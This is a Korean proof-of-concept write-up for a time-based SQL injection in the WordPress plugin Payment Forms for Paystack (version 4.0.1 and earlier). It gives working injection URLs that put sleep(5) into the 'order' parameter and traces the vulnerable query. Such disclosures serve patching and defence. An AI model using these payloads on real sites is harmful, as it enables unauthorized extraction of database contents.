
CVE-2025-22652 PoC
WordPress 플러그인
구성 요소 이름 Payment Forms for Paystack
취약한 버전 <= 4.0.1
구성 요소 슬러그 payment-forms-for-paystack
구성 요소 링크 https://wordpress.org/plugins/payment-forms-for-paystack/
취약점 클래스 A3: 인젝션
취약점 유형 SQL 인젝션
관리자
Payment Forms for Paystack 플러그인 버전 4.0.1 이하에서, 결제 양식의 결제 목록을 볼 때 URL 매개변수 order에 대한 충분하지 않은 입력 검증 및 이스케이프 처리로 인해 SQL 인젝션 취약점이 존재합니다. 이를 통해 관리자 권한을 가진 공격자는 대상 사이트 데이터베이스의 모든 정보를 추출할 수 있습니다.
이 취약점은 직접적인 데이터 쿼리를 허용하지 않지만, 시간 기반 SQL 인젝션 기법을 사용하여 데이터를 추출할 수 있습니다.
Payment Forms for Paystack 플러그인 버전 4.0.1 이하가 설치된 WordPress 사이트를 준비합니다.
조회를 수행하려면 Paystack 양식을 추가해야 하므로, Paystack 양식 추가 메뉴(wp-admin/post-new.php?post_type=paystack_form)에서 양식을 추가합니다.

양식을 추가한 후, 쇼트코드를 확인할 수 있으며, 아래 URL의 URL 매개변수 form에 해당 쇼트코드의 속성 ID를 삽입한 후 접속합니다.
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<삽입 지점>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
예를 들어, [pff-paystack id="13"]인 경우, http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)에 접속합니다.

결과적으로 URL 매개변수 order에 삽입된 SQL 인젝션 페이로드의 조건절 where 1=1이 항상 참이므로, sleep(5) 함수가 실행되어 응답이 5초 후에 오는 것을 확인할 수 있습니다.

반면, order에 삽입된 SQL 인젝션 페이로드의 조건절을 where 1=2로 변경하면 응답이 즉시 오는 것을 확인할 수 있습니다.
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<삽입 지점>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
예를 들어, [pff-paystack id="13"]인 경우, http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)에 접속합니다.

취약점이 발생하는 URL을 요청하면 /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php 파일의 get_payments_by_id 함수가 호출됩니다.
이때 URL 매개변수 order가 입력 검증이나 이스케이프 처리 없이 SQL 쿼리에 직접 삽입되어 데이터베이스에서 실행됩니다.

따라서 URL 매개변수 order에 SQL 인젝션 페이로드 , (select sleep(5) from dual where 1=1)가 삽입되면 아래와 같은 SQL 쿼리가 실행됩니다. 이때 페이로드의 조건절이 참인지 거짓인지에 따라 응답 시간에 차이가 발생하며, 이 시간 차이를 이용하여 데이터베이스에서 데이터를 추출할 수 있습니다.
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)
PoC 코드를 편집기에서 열고 WordPress 사이트 주소와 관리자 자격 증명을 입력합니다.

그런 다음 다음 명령을 입력하여 PoC 코드를 실행합니다.
필수 모듈requests
python poc.py
